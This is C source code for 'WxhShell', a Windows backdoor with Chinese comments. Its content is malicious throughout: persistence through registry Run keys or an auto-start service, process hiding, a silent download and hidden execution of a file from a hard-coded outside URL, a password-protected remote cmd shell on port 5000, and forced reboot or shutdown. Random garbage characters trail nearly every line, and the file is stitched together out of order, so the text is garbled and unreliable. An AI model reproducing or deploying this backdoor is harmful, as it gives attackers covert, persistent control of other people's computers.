    if(Boot(SHUTDOWN)) GUK/Xiu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,e;(\t:  
    else { shi#K<gVC  
    closesocket(wsh); ";jhj:Xj  
    ExitThread(0); 3A+d8fwi  
    } q H+~rj  
    break; Q{>{ e3z}  
    } $GcVC (]  
  // 获取shell 4Fnr8 r8W  
  case 's': { (j'[t  
    CmdShell(wsh); -JcfP+{wS  
    closesocket(wsh); O=yUA AD$  
    ExitThread(0); Y+D#Dv |  
    break; 5VISP4a  
  } 5T,`j=\  
  // 退出 #vIF]Y  
  case 'x': { g n'. 9";j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *t~( _j  
    CloseIt(wsh); 3.8d"  
    break; 9XS'5AXN  
    } W# ev  
  // 离开 L"AZ,|wIk  
  case 'q': { @k6>&PS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :sJVklK  
    closesocket(wsh); Ix}:!L  
    WSACleanup(); HogT#BMs  
    exit(1); ;Lz96R@}  
    break; MbF.KmV  
        } n&&X{Rl  
  } +Ge-!&.;A  
  } @q|I$'K]x  
V,lz}&3L  
  // 提示信息 58WL8xu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f~t*8rG~m  
} Yf<6[(6 O  
  } bz,C%HFA  
85-00m ~  
  return; /JJU-A(  
} rtC.!].;%  
H:2#/1Oz>  
// shell模块句柄 '`^`NI`  
int CmdShell(SOCKET sock) Bh<)e5lP:  
{ F`+}p-  
STARTUPINFO si; NZCPmst  
ZeroMemory(&si,sizeof(si)); # sm>;+J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Yd7&#s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qn6'E  
PROCESS_INFORMATION ProcessInfo; ^GHA,cSf  
char cmdline[]="cmd"; p%ek)tT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yMB*/vs  
  return 0; Jwgd9a5  
} 1UT&kD!si  
<S <@V?h  
// 自身启动模式 G?v]p~6  
int StartFromService(void) rK7m(  
{ 73 ix4C  
typedef struct z^'3f!:3  
{ ?%(:  
  DWORD ExitStatus; @FU9!  
  DWORD PebBaseAddress; :/A3l=}iV  
  DWORD AffinityMask; \c(R#*0,  
  DWORD BasePriority; My vp PW  
  ULONG UniqueProcessId; ,* !HN &  
  ULONG InheritedFromUniqueProcessId; 2Sz?r d,0f  
}   PROCESS_BASIC_INFORMATION; Y|stxeOC  
__O@w.  
PROCNTQSIP NtQueryInformationProcess; )! +~q!A  
{ )=h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L"e8S%UqX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gE;r;#Jt4  
Y- esD'MD  
  HANDLE             hProcess; P+K< /i  
  PROCESS_BASIC_INFORMATION pbi; C+tB$yahO  
=n7QLQU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HtFc+%=  
  if(NULL == hInst ) return 0; :QGgtTEV""  
)i|0Ubn[|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F5s Pd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U|yXJ.Z3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l=4lhFG,Mk  
WOkAma-  
  if (!NtQueryInformationProcess) return 0; O1xK\ogv  
~*NG~Kn"s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K;)(fc  
  if(!hProcess) return 0; !79eF)  
ZMa@/\pf1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0K T^V R  
wX/0.aZ|  
  CloseHandle(hProcess); .! 'SG6 q  
P-]u&m/6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rHngYcjR  
if(hProcess==NULL) return 0; 1xBgb/+  
8=kIN-l_  
HMODULE hMod; n[+$a)$8  
char procName[255]; }%) ]b*3  
unsigned long cbNeeded; m-u3^\'  
9^+8b9y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b';oFUU>Q  
>8;EeRvI  
  CloseHandle(hProcess); hlKM4JT\  
1RHFWK5Si  
if(strstr(procName,"services")) return 1; // 以服务启动 y) .dw(  
w#qE#g %1  
  return 0; // 注册表启动 \Dlmrke  
} ){}1u ?  
yor6h@F1  
// 主模块 oU`{6 ~;  
int StartWxhshell(LPSTR lpCmdLine) 4(nwi[1Y  
{ \0fS;Q^{j  
  SOCKET wsl; H3#rFO"C*  
BOOL val=TRUE; 0]k-0#JM  
  int port=0; Gg TrIF  
  struct sockaddr_in door; _<^mi!Y  
2QIx~Er  
  if(wscfg.ws_autoins) Install(); (Q(=MEar  
+d!"Zy2|B  
port=atoi(lpCmdLine); 3Z_\.Z1R@  
]iezwz`'  
if(port<=0) port=wscfg.ws_port; 7 MZ(tOR  
bDtb"V8e  
  WSADATA data; ;Z6ngS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &"6%D|Z0  
[cso$Tv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $97EeE:{M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b=PB"-  
  door.sin_family = AF_INET; CNM pyr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y^:N^Gt  
  door.sin_port = htons(port); V:'_m'.-Y  
/ LC!|-1E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IeT1Jwe  
closesocket(wsl); '*=kt  
return 1; ~0V,B1a  
} A}W}H;8x  
Y^2]*e%  
  if(listen(wsl,2) == INVALID_SOCKET) { 'U*Kb  
closesocket(wsl); *pSD[E>SU  
return 1; |R3A$r#-  
}  j|owU  
  Wxhshell(wsl); FA$1&Fu3Y  
  WSACleanup(); >Pwu>  
:9]"4ktoJ  
return 0; ,M0#?j>  
"JpnmE[`  
} DAVgP7h'  
J_7&nIH7  
// 以NT服务方式启动 ><w=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Evt&N)l!^  
{ ~#PC(g  
DWORD   status = 0; G F17oMi  
  DWORD   specificError = 0xfffffff; X;QhK] Z  
h e1=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ss'`[QhR2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !g7bkA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (( {4)5}  
  serviceStatus.dwWin32ExitCode     = 0; )uazB!X  
  serviceStatus.dwServiceSpecificExitCode = 0; " "{#~X}  
  serviceStatus.dwCheckPoint       = 0; Uu(FFd~3  
  serviceStatus.dwWaitHint       = 0; j6#RV@ p`  
Rdl^-\BV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^nN@@ \-5  
  if (hServiceStatusHandle==0) return; fl *>m,  
L9^h .Y7  
status = GetLastError(); p -wEPC0  
  if (status!=NO_ERROR) Y N*"q'Yz_  
{ SwdUElEp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vJfj1 f  
    serviceStatus.dwCheckPoint       = 0; vI0::ah/  
    serviceStatus.dwWaitHint       = 0; U( (F<  
    serviceStatus.dwWin32ExitCode     = status; :M9 E  
    serviceStatus.dwServiceSpecificExitCode = specificError; C,G$C7$%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {N`<TH PP  
    return; b$/ 'dnx  
  } 1zWEK]2.R  
@ZtDjxN &  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0})mCVBY  
  serviceStatus.dwCheckPoint       = 0; U`)o$4Bq  
  serviceStatus.dwWaitHint       = 0; a6epew!2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B^lm'/,@  
} sY@x(qkIOc  
9xM7X?  
// 处理NT服务事件,比如:启动、停止 G !;<#|a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i5CBLv  
{ AA~6r[*~  
switch(fdwControl) Yxd&hr  
{ k \V6 q9*  
case SERVICE_CONTROL_STOP: ylPDM7Ka  
  serviceStatus.dwWin32ExitCode = 0; |z]--h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QTbv3#  
  serviceStatus.dwCheckPoint   = 0; /qObXI  
  serviceStatus.dwWaitHint     = 0; ~"8)9&  
  { (^ ;Fyf/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |n q}#  
  } :vRUb>z  
  return; uBqZ62{G  
case SERVICE_CONTROL_PAUSE: 4.qW ~ W{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sJB::6+1(|  
  break; &0*IN nlc?  
case SERVICE_CONTROL_CONTINUE: #azD& 6`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mQ qv{1  
  break; TF-k|##G  
case SERVICE_CONTROL_INTERROGATE: Avr2MaY{h  
  break; EH~XN9b  
}; iR6w)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {v~.zRW%]r  
} #0gwN2Nv"L  
c0Oc-,6J  
// 标准应用程序主函数 J-)9>~[E<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8nQjD<-  
{ kCVA~ %d7  
flzHZH  
// 获取操作系统版本 B?p18u$i#l  
OsIsNt=GetOsVer(); 'v:%} qMv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WC *e#QP  
& U6bOH%P  
  // 从命令行安装 ^;gwD4(hs  
  if(strpbrk(lpCmdLine,"iI")) Install(); E[E7GsmqV  
( S=RFd  
  // 下载执行文件 o:8*WCiqrN  
if(wscfg.ws_downexe) { $2lPUQZ<5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !i77v, (#|  
  WinExec(wscfg.ws_filenam,SW_HIDE); iw)^; 8q  
} dyN Kok#  
csNB  \  
if(!OsIsNt) { @$ggPrs  
// 如果时win9x,隐藏进程并且设置为注册表启动 *D6X&Hg&5  
HideProc(); y1@*)| r  
StartWxhshell(lpCmdLine); /Xo8 kC  
} [9>h! khs  
else mf\eg`'4?  
  if(StartFromService()) = gbB)u-Pc  
  // 以服务方式启动 ()+PP}:$A  
  StartServiceCtrlDispatcher(DispatchTable); PGaYYc3X  
else Fy8$'oc  
  // 普通方式启动 k;W`6:Kjp  
  StartWxhshell(lpCmdLine); GoTJm}[N P  
M)v4>Rw+  
return 0; DpZO$5.Ec+  
} fu]mxGPc  
%pk'YA{M)q  
+'f+0T\)  
X:1&Pdi  
=========================================== [;n/|/m,  
gvLzE&V}  
g!*5@k|C  
yv2N5IQ>{V  
HX&G  k  
-fILXu  
" UBZ37P  
eKw!%97>  
#include <stdio.h> VvSe`E*  
#include <string.h> $wBF'|eU  
#include <windows.h> +t hkx$o  
#include <winsock2.h> ?0%3~E`l:  
#include <winsvc.h> &?)? w-$p  
#include <urlmon.h>  <RaM@E  
7yM"G$  
#pragma comment (lib, "Ws2_32.lib") l1?$quM^V  
#pragma comment (lib, "urlmon.lib") ^KRe(  
a#L:L8T;j  
#define MAX_USER   100 // 最大客户端连接数 .nG14i7C  
#define BUF_SOCK   200 // sock buffer Vw>AD<Rl  
#define KEY_BUFF   255 // 输入 buffer tzn+ M0'  
RcG 1J7#i  
#define REBOOT     0   // 重启 9N@m><N84  
#define SHUTDOWN   1   // 关机 2f8\Osn>m  
V }?MP-.c  
#define DEF_PORT   5000 // 监听端口 )4tOTi[  
dvX[,*wz  
#define REG_LEN     16   // 注册表键长度 `k]2*$%  
#define SVC_LEN     80   // NT服务名长度 c`E0sgp  
bMp[:dw`y  
// 从dll定义API fb*h.6^y9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]o<&Q52|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hzcSKRm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +~[>Usf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u"s@eN  
e\7AtlW"  
// wxhshell配置信息 # X`t~Y'  
struct WSCFG { uK;&L?WB  
  int ws_port;         // 监听端口 uG){0%nX  
  char ws_passstr[REG_LEN]; // 口令 V7}]39m(s  
  int ws_autoins;       // 安装标记, 1=yes 0=no Zb4+zps^-  
  char ws_regname[REG_LEN]; // 注册表键名 F +Dke>j  
  char ws_svcname[REG_LEN]; // 服务名 + \jn$>E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %5yP^BL0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6F8TiR&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?l>Ra0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6'[gd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "969F(S$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %+ : $uk[  
;BmPP,  
}; F"| ;  
/)*si  
// default Wxhshell configuration Y~Z&h?H'}  
struct WSCFG wscfg={DEF_PORT, 7I=vgT1F  
    "xuhuanlingzhe", >v'@p  
    1, JKY  
    "Wxhshell", 6c[Slq!KA  
    "Wxhshell", K +l-A>Ic  
            "WxhShell Service", =v(&qh9Q2  
    "Wrsky Windows CmdShell Service", ecMpU8}rR  
    "Please Input Your Password: ", aHkt K/  
  1, u$rSM0CJ  
  "http://www.wrsky.com/wxhshell.exe", u-u:7VtH0=  
  "Wxhshell.exe" pqDlg  
    }; J;S Z"I'  
Pah*,  
// 消息定义模块 )u=46EU_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4K0Fc^-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Im"8+756  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q6$^lRNOpk  
char *msg_ws_ext="\n\rExit."; x }.&?m  
char *msg_ws_end="\n\rQuit."; C {G647  
char *msg_ws_boot="\n\rReboot..."; 4&<zkAMR  
char *msg_ws_poff="\n\rShutdown..."; lFV\Go  
char *msg_ws_down="\n\rSave to "; FvyC$vip  
p>1Klh:8.'  
char *msg_ws_err="\n\rErr!"; j)mi~i*U  
char *msg_ws_ok="\n\rOK!"; gg&Dej2{  
G7k.YtW  
char ExeFile[MAX_PATH]; }_fVv{D   
int nUser = 0; LM*m> n*  
HANDLE handles[MAX_USER]; 50^CILKo7  
int OsIsNt; )VeeAu)p  
F> b<t.yV  
SERVICE_STATUS       serviceStatus; yPk s,7U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fiQ/ &]|5  
v%)=!T ,  
// 函数声明 ',s{N9  
int Install(void); ZW ZKyJQ  
int Uninstall(void); tg;AF<VI  
int DownloadFile(char *sURL, SOCKET wsh); {PkPKp  
int Boot(int flag); *lyRy/POB  
void HideProc(void); \ocC'FmE  
int GetOsVer(void); Z9UNp[  0  
int Wxhshell(SOCKET wsl); DIWcX<s  
void TalkWithClient(void *cs); ka<rlh<h  
int CmdShell(SOCKET sock); Bw4PxJs-  
int StartFromService(void); 6D29s]h2  
int StartWxhshell(LPSTR lpCmdLine); WZf}1.Mh*  
yG:Pg MrB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XB+Juk&d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }^ZPah  
e[%g'}D:-  
// 数据结构和表定义 j12khp?  
SERVICE_TABLE_ENTRY DispatchTable[] = ~c|{PZ9U  
{ YA@OA$`E  
{wscfg.ws_svcname, NTServiceMain}, cB4p.iO   
{NULL, NULL} aWMEo`O%  
}; )5l9!1j  
!;.nL-NQ  
// 自我安装 +$D~?sk  
int Install(void) K Z Q `  
{ J}s)#va9R  
  char svExeFile[MAX_PATH]; _.BX#BIF  
  HKEY key; Jc,{ n*  
  strcpy(svExeFile,ExeFile); S@vLh=65  
=xPBolxm5U  
// 如果是win9x系统,修改注册表设为自启动 y0cB@pWp  
if(!OsIsNt) { S<DS|qOo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QVQ?a&HYS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KHt.g`1:R  
  RegCloseKey(key); #AUa'qB t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P[a\Q`}L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a[Oi  
  RegCloseKey(key); N TL`9b  
  return 0; 5mF"nY&lI  
    } &#qy:  
  } F<N{ x^  
} O)9{qU:[b  
else { #ZPy&GIr  
MYF6tZ*  
// 如果是NT以上系统,安装为系统服务 Zv)x-48  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vq1v e;(8s  
if (schSCManager!=0) V-%Am  
{ i;8tA !  
  SC_HANDLE schService = CreateService m@^!?/as  
  ( Hm55R  
  schSCManager, ,1&</R_  
  wscfg.ws_svcname, >s+*D=k  
  wscfg.ws_svcdisp, 0s8w)%4$  
  SERVICE_ALL_ACCESS, (lR9x6yf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -% Z?rn2  
  SERVICE_AUTO_START, tN:PWj5  
  SERVICE_ERROR_NORMAL, q+Cq&|4 ?2  
  svExeFile, o$-!E(p  
  NULL, ]M5w!O!  
  NULL, oN6X]T<   
  NULL, enJgk(  
  NULL, 9 WhZ= Xk  
  NULL #DFfySH)A  
  ); 27-GfC=7*  
  if (schService!=0) f/6,b&l,  
  { P85@G 2  
  CloseServiceHandle(schService); P\R#!+FgW8  
  CloseServiceHandle(schSCManager); D!d1%hac  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [:(^n0%  
  strcat(svExeFile,wscfg.ws_svcname); d~U}IMj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oWo/QNw9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kL1StF#p  
  RegCloseKey(key); J"Z=`I)KON  
  return 0; j"c30AY  
    } 7r4|>F  
  } j6_tFJT  
  CloseServiceHandle(schSCManager); nD51,1>  
} 5p7?e3  
} yMoV|U6  
_pS |bqF  
return 1; x<es1A'u6  
} chF@',9t  
 nW*D  
// 自我卸载 z[`O YwsW  
int Uninstall(void) [R~`6  
{ }[gk9uM_7  
  HKEY key; s}3`%?,6y  
"$Mz>]3&q  
if(!OsIsNt) { B<" `<oG@|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /$ :w8  
  RegDeleteValue(key,wscfg.ws_regname); A3 |hFk  
  RegCloseKey(key); R@8pKCL.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (L3Etan4RE  
  RegDeleteValue(key,wscfg.ws_regname); muJR~4  
  RegCloseKey(key); ,p\:Z3{ZH  
  return 0; 9cwy;au  
  } v?=y9lEH@%  
} (Iz$_(  
} ^f%hhpV@  
else { V6ICR{y<3  
bk}'wcX<+]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +'VSD`BR  
if (schSCManager!=0) #NZ#G~oeO  
{ ._i|+[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NlG~{rfI  
  if (schService!=0) fZ5zsm'N  
  { Ap<kK0#h  
  if(DeleteService(schService)!=0) { $,)PO Z  
  CloseServiceHandle(schService); Sr#\5UDS  
  CloseServiceHandle(schSCManager); <(c_[o/  
  return 0; r&/M')}?Lw  
  } 'OTQiI^t=  
  CloseServiceHandle(schService); TF1,7Qd  
  } :yi?<  
  CloseServiceHandle(schSCManager); MOia] 5  
} EQTJ=\WFF  
} <9bfX 91  
BtA_1RO  
return 1; !ay:h Iv  
} x=M%QFe  
pv[Gg^  
// 从指定url下载文件 *t%Z'IA  
int DownloadFile(char *sURL, SOCKET wsh) YstR T1  
{ A+w'quXn  
  HRESULT hr; QHDR* tB:{  
char seps[]= "/"; MfA@)v  
char *token; 8 v}B-cS  
char *file; nmuzTFs=  
char myURL[MAX_PATH]; QJ,[K _  
char myFILE[MAX_PATH]; B%^W$7 q  
uo8[,'  
strcpy(myURL,sURL); [o"<DP6w  
  token=strtok(myURL,seps); { )-8P  
  while(token!=NULL) _1,hO?TK  
  { #soV'SFG  
    file=token; &"r /&7:  
  token=strtok(NULL,seps); vvI23!H  
  } X`6"^ xme  
TtQ'I}7q  
GetCurrentDirectory(MAX_PATH,myFILE); %vil ~NU  
strcat(myFILE, "\\"); awv$ }EFo  
strcat(myFILE, file); m{;j r<  
  send(wsh,myFILE,strlen(myFILE),0); vh#81}@N7*  
send(wsh,"...",3,0); uCr :+"C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =(]Z%Q-V  
  if(hr==S_OK) g\% Z+Dc  
return 0; l0 8vF$k|d  
else [=BccT:b  
return 1; o(k{Ed  
v YJ9G"E  
} @-ml=S7;Sz  
)dd1B>ej]  
// 系统电源模块 /go|r '  
int Boot(int flag) Y}]-o9Rl  
{ V3>tW,z  
  HANDLE hToken; f{.4# C'  
  TOKEN_PRIVILEGES tkp; 3K=%I+G(4  
xg}Q~,:  
  if(OsIsNt) { B[k=6EU8k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); : eCeJ~&E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]"&](e6*  
    tkp.PrivilegeCount = 1; =C2KHNc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {h=gnR-9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z2>LjM) #  
if(flag==REBOOT) { ;I&XG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ptc+ypTu  
  return 0; NS65F7<&  
} W=#AfPi$&  
else { WfD fj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |AH>EXhv  
  return 0; m"T}em#   
} S,j. ?u*!  
  } ?ac4GA(  
  else { =W &Mt  
if(flag==REBOOT) { "M, 1ElQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !> =ybRe  
  return 0; \{}dn,?Fv  
} ?=ffv]v|  
else {  vTgx7gP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f~F{@),acZ  
  return 0; D<m0G]Ht*  
} 4-t^?T: qF  
} -OSj<m<  
qVKdc*R-  
return 1; 2j: 0!%  
} m`l9d4p w?  
lH;V9D^  
// win9x进程隐藏模块 {"+M%%`*#  
void HideProc(void) zGFD71=#  
{ ~ney~Pz_  
T8|5%Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lo~ ;pvv  
  if ( hKernel != NULL ) qXg&E}]:=  
  { }b1FB<e]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +i!5<nn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  kDE-GX"Y  
    FreeLibrary(hKernel); g_1#if&  
  } At"$Cu!k  
m/1FVC@*  
return; @uH!n~QV  
} !uQT4< g  
Bz<hP*.O  
// 获取操作系统版本 ]bJz-6u#:  
int GetOsVer(void) !+Xul_XG  
{ F)(^c  
  OSVERSIONINFO winfo; J7* o%W*V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \c -m\|  
  GetVersionEx(&winfo); ts!tv6@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Td'Mc-/  
  return 1; =nGFLH6)  
  else Ln4]uqMG.  
  return 0; 7ocUFY0"  
} d/bimQ  
&h0LWPl  
// 客户端句柄模块 $ ]s^M=8  
int Wxhshell(SOCKET wsl) l!f_ +lv  
{ ,7LfvZj4[  
  SOCKET wsh; 1EXT^2!D  
  struct sockaddr_in client; '9zW#b  
  DWORD myID; Cgx:6TRS  
}6@E3z]AMO  
  while(nUser<MAX_USER) byxlC?q7  
{ vN'+5*Cgy6  
  int nSize=sizeof(client); UZI:st   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AH#mL  
  if(wsh==INVALID_SOCKET) return 1; s/tLY/U/  
w'K7$F51  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "pM >TMAE  
if(handles[nUser]==0) w$:\!FImx  
  closesocket(wsh); hzsQK _;S  
else ;OlnIxH(W  
  nUser++; uu.X>agg  
  } :C*}Yg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dd  
f~NS{gL*  
  return 0; t`Kpbfk  
} ga;nM#/  
i1cd9  
// 关闭 socket /oT~CB..  
void CloseIt(SOCKET wsh) I=kqkuW  
{ ,)1C"'  
closesocket(wsh); .;4N:*hY  
nUser--; ',r` )9o  
ExitThread(0); I?'*vAW<  
} NV * 2  
[P &B  
// 客户端请求句柄 /x??J4r0  
void TalkWithClient(void *cs) -TF},V~  
{ 5-X$"Z|@  
#kv9$  
  SOCKET wsh=(SOCKET)cs; @D;K&:~|N  
  char pwd[SVC_LEN]; y|| n9  
  char cmd[KEY_BUFF]; 6{I7)@>N   
char chr[1]; 28"1ONs 3  
int i,j; F_qApyU,7  
@rYZ0`E9  
  while (nUser < MAX_USER) { tg\Nm7I  
PEI$1,z  
if(wscfg.ws_passstr) { h>`[p,o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,7B7X)m{3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FEk9a^Xyx  
  //ZeroMemory(pwd,KEY_BUFF); 4mDHAR%D  
      i=0; gX{j$]^6G8  
  while(i<SVC_LEN) { +ywz@0nx  
TB>_#+:  
  // 设置超时 0XA\Ag\`G  
  fd_set FdRead; nOPB*{r|  
  struct timeval TimeOut; Tv|'6P  
  FD_ZERO(&FdRead); E <yQB39  
  FD_SET(wsh,&FdRead); >&.N_,*  
  TimeOut.tv_sec=8; WfO EI1  
  TimeOut.tv_usec=0; <#:iltO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1|p\rHGd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nf4@m|#  
;j T{< Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oc"p5Y3,Os  
  pwd=chr[0]; MEI&]qI  
  if(chr[0]==0xd || chr[0]==0xa) { =_OJ 7K'  
  pwd=0; L"YQji!  
  break; 4m\Cc_:jO  
  } d[h=<?E5  
  i++; !*c%Dj  
    } &5HI   
\ ERBb.  
  // 如果是非法用户,关闭 socket S8v,' Cc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ar@,SKU'K  
} w8+ phN(-M  
s1OSuSL>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wgf f+7k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s3Bo'hGxG  
:LuA6  
while(1) { @w33u^  
.\`M oH  
  ZeroMemory(cmd,KEY_BUFF); c*owP  
C,ldi"|  
      // 自动支持客户端 telnet标准   VnN(lJ  
  j=0; <e Y2}Ml  
  while(j<KEY_BUFF) { }G(#jOYk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T pCXe\W  
  cmd[j]=chr[0];  =glG |  
  if(chr[0]==0xa || chr[0]==0xd) { l )r^|9{  
  cmd[j]=0; +v%+E{F$+  
  break; `_&vvJPn@!  
  } UaG&HGg]!  
  j++; A/zAB3  
    } hXH+C-%{  
`m V(:  
  // 下载文件 B|syb!g  
  if(strstr(cmd,"http://")) { oVl:g:K40  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f3;[ZS  
  if(DownloadFile(cmd,wsh)) 5> 81Vhc,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -4Q\FLC'k  
  else B8wGWZ@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :S`12*_g"  
  } "SuG6!k3  
  else { r{* Qsaw  
(R s;+S  
    switch(cmd[0]) { 0{!-h  
